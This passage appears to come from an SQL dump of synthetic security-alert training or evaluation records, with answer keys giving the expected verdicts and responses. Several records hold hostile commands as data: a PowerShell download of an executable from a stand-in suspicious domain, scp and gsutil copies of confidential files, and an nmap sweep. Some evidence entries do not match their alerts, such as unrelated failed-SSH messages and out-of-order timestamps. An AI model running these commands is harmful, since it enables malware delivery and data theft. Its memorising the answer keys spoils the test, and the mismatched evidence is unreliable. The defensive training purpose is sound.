3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.1\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-SCAN-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nmap -sP 192.168.3.0/24\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.1\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-SCAN-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nmap -sP 192.168.3.0/24\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1267, 'Potential Insider Threat Detected with Unauthorized File Access', 'high', 'Forcepoint', 'An employee attempted to access and download files that are beyond their access level, suggesting potential insider threat activity.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-02-24T11:25:50Z\",\"event_type\":\"file_access\",\"src_ip\":\"192.168.4.55\",\"dst_ip\":null,\"username\":\"michael.jones\",\"hostname\":\"CORP-DESK-07\",\"request_body\":null,\"command_line\":\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for unauthorized file access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command indicates potential unauthorized file transfer\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The access attempt to restricted files by an employee indicates a potential insider threat.\"}', 'Intermediate', 'DLP', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.711Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:25:50Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"michael.jones\\\",\\\"hostname\\\":\\\"CORP-DESK-07\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.711Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:25:50Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"michael.jones\\\",\\\"hostname\\\":\\\"CORP-DESK-07\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.711Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:25:50Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"michael.jones\\\",\\\"hostname\\\":\\\"CORP-DESK-07\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.711Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:25:50Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"michael.jones\\\",\\\"hostname\\\":\\\"CORP-DESK-07\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.711Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T11:25:50Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":null,\\\"username\\\":\\\"michael.jones\\\",\\\"hostname\\\":\\\"CORP-DESK-07\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"scp secret_document.pdf michael@192.168.4.55:/home/michael/\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1268, 'Suspicious PowerShell Execution Detected', 'medium', 'Microsoft Purview', 'A PowerShell script was executed on an internal machine that attempted to download a file from a suspicious domain.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T07:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.60\",\"dst_ip\":\"203.0.113.77\",\"username\":\"john.doe\",\"hostname\":\"CORP-PS-01\",\"request_body\":null,\"command_line\":\"powershell.exe -Command \\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\Temp\\\\file.exe\\\"\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.60\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP executing suspicious PowerShell command\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with hosting malicious content\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -Command \\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\Temp\\\\file.exe\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download potentially malicious executeable\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command indicates an attempt to download potentially malicious files from a known malicious domain.\"}', 'Intermediate', 'DLP', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T07:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.60\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"CORP-PS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -Command \\\\\\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\\\\\Temp\\\\\\\\file.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T07:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.60\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"CORP-PS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -Command \\\\\\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\\\\\Temp\\\\\\\\file.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T07:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.60\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"CORP-PS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -Command \\\\\\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\\\\\Temp\\\\\\\\file.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T07:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.60\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"CORP-PS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -Command \\\\\\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\\\\\Temp\\\\\\\\file.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T07:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.60\\\",\\\"dst_ip\\\":\\\"203.0.113.77\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"CORP-PS-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -Command \\\\\\\"Invoke-WebRequest -Uri http://suspicious-domain.com/file.exe -OutFile C:\\\\\\\\Temp\\\\\\\\file.exe\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1269, 'False Positive: Authorized Software Update Detected', 'low', 'Forcepoint', 'A network connection was established to download a software update from an approved vendor. Initially flagged as suspicious due to the large data transfer.', 'Data Exfil', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.6.33\",\"dst_ip\":\"203.0.113.80\",\"username\":\"service.account\",\"hostname\":\"CORP-SERVER-03\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.33\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP performing authorized update\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted software vendor\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The network activity was verified as a legitimate software update from an approved vendor.\"}', 'Intermediate', 'DLP', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.714Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T09:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.6.33\\\",\\\"dst_ip\\\":\\\"203.0.113.80\\\",\\\"username\\\":\\\"service.account\\\",\\\"hostname\\\":\\\"CORP-SERVER-03\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.714Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T09:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.6.33\\\",\\\"dst_ip\\\":\\\"203.0.113.80\\\",\\\"username\\\":\\\"service.account\\\",\\\"hostname\\\":\\\"CORP-SERVER-03\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.714Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T09:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.6.33\\\",\\\"dst_ip\\\":\\\"203.0.113.80\\\",\\\"username\\\":\\\"service.account\\\",\\\"hostname\\\":\\\"CORP-SERVER-03\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.714Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T09:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.6.33\\\",\\\"dst_ip\\\":\\\"203.0.113.80\\\",\\\"username\\\":\\\"service.account\\\",\\\"hostname\\\":\\\"CORP-SERVER-03\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.714Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T09:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.6.33\\\",\\\"dst_ip\\\":\\\"203.0.113.80\\\",\\\"username\\\":\\\"service.account\\\",\\\"hostname\\\":\\\"CORP-SERVER-03\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1270, 'Suspicious File Transfer Detected via Cloud Service', 'medium', 'Netskope', 'Detected unexpected file uploads to a cloud storage service from a user\'s machine. Further analysis needed to confirm intent.', 'Data Exfil', 'T1567', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T12:30:00Z\",\"event_type\":\"file_upload\",\"src_ip\":\"192.168.7.22\",\"dst_ip\":\"198.51.100.10\",\"username\":\"alice.jones\",\"hostname\":\"CORP-LT-08\",\"request_body\":null,\"command_line\":\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.7.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in file upload\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unknown cloud storage service used for file upload\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of cloud storage for file uploads by an internal user indicates potential data exfiltration.\"}', 'Intermediate', 'DLP', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:30:00Z\\\",\\\"event_type\\\":\\\"file_upload\\\",\\\"src_ip\\\":\\\"192.168.7.22\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"alice.jones\\\",\\\"hostname\\\":\\\"CORP-LT-08\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:30:00Z\\\",\\\"event_type\\\":\\\"file_upload\\\",\\\"src_ip\\\":\\\"192.168.7.22\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"alice.jones\\\",\\\"hostname\\\":\\\"CORP-LT-08\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:30:00Z\\\",\\\"event_type\\\":\\\"file_upload\\\",\\\"src_ip\\\":\\\"192.168.7.22\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"alice.jones\\\",\\\"hostname\\\":\\\"CORP-LT-08\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:30:00Z\\\",\\\"event_type\\\":\\\"file_upload\\\",\\\"src_ip\\\":\\\"192.168.7.22\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"alice.jones\\\",\\\"hostname\\\":\\\"CORP-LT-08\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.716Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T12:30:00Z\\\",\\\"event_type\\\":\\\"file_upload\\\",\\\"src_ip\\\":\\\"192.168.7.22\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"alice.jones\\\",\\\"hostname\\\":\\\"CORP-LT-08\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"gsutil cp /home/alice/documents/confidential.xlsx gs://unknown-bucket\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1271, 'False Positive: Routine Database Synchronization Detected', 'low', 'Microsoft Purview', 'Routine database synchronization detected between internal servers, flagged due to high data volume but confirmed as scheduled activity.', 'Data Exfil', 'T1071', 0, 'Closed', 213, '{\"timestamp\":\"2026-02-24T02:00:00Z\",\"event_type\":\"data_transfer\",\"src_ip\":\"192.168.8.50\",\"dst_ip\":\"192.168.8.51\",\"username\":\"db_sync\",\"hostname\":\"DB-SERVER-02\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:10:37', '2026-02-26 21:24:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.8.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP of internal database server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.8.51\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP of internal database server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was confirmed as part of routine database synchronization between internal servers.\"}', 'Intermediate', 'DLP', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.717Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T02:00:00Z\\\",\\\"event_type\\\":\\\"data_transfer\\\",\\\"src_ip\\\":\\\"192.168.8.50\\\",\\\"dst_ip\\\":\\\"192.168.8.51\\\",\\\"username\\\":\\\"db_sync\\\",\\\"hostname\\\":\\\"DB-SERVER-02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.717Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T02:00:00Z\\\",\\\"event_type\\\":\\\"data_transfer\\\",\\\"src_ip\\\":\\\"192.168.8.50\\\",\\\"dst_ip\\\":\\\"192.168.8.51\\\",\\\"username\\\":\\\"db_sync\\\",\\\"hostname\\\":\\\"DB-SERVER-02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.717Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T02:00:00Z\\\",\\\"event_type\\\":\\\"data_transfer\\\",\\\"src_ip\\\":\\\"192.168.8.50\\\",\\\"dst_ip\\\":\\\"192.168.8.51\\\",\\\"username\\\":\\\"db_sync\\\",\\\"hostname\\\":\\\"DB-SERVER-02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.717Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T02:00:00Z\\\",\\\"event_type\\\":\\\"data_transfer\\\",\\\"src_ip\\\":\\\"192.168.8.50\\\",\\\"dst_ip\\\":\\\"192.168.8.51\\\",\\\"username\\\":\\\"db_sync\\\",\\\"hostname\\\":\\\"DB-SERVER-02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.717Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T02:00:00Z\\\",\\\"event_type\\\":\\\"data_transfer\\\",\\\"src_ip\\\":\\\"192.168.8.50\\\",\\\"dst_ip\\\":\\\"192.168.8.51\\\",\\\"username\\\":\\\"db_sync\\\",\\\"hostname\\\":\\\"DB-SERVER-02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1272, 'False Positive: Network Configuration Change Detected', 'low', 'Symantec DLP', 'A network configuration change was detected on a router by an authorized user. Initially flagged due to unusual time of change.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T04:30:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"192.168.9.10\",\"dst_ip\":\"192.168.9.1\",\"username\":\"network.admin\",\"hostname\":\"ROUTER-01\",\"request_body\":null,\"command_line\":\"apply_changes.sh\"}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.9.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP of authorized network admin machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"apply_changes.sh\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network configuration script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The configuration change was performed by an authorized user during scheduled maintenance.\"}', 'Intermediate', 'DLP', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.719Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T04:30:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.9.10\\\",\\\"dst_ip\\\":\\\"192.168.9.1\\\",\\\"username\\\":\\\"network.admin\\\",\\\"hostname\\\":\\\"ROUTER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"apply_changes.sh\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.719Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T04:30:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.9.10\\\",\\\"dst_ip\\\":\\\"192.168.9.1\\\",\\\"username\\\":\\\"network.admin\\\",\\\"hostname\\\":\\\"ROUTER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"apply_changes.sh\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.719Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T04:30:00Z\\\",\\\"event_type\\\":\\\"configuration_change\\\",\\\"src_ip\\\":\\\"192.168.9.10\\\",\\\"dst_ip\\\":\\\"192.168.9.1\\\",\\\"username\\\":\\\"network.admin\\\",\\\"hostname\\\":\\\"ROUTER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"apply_changes.sh\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.719Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 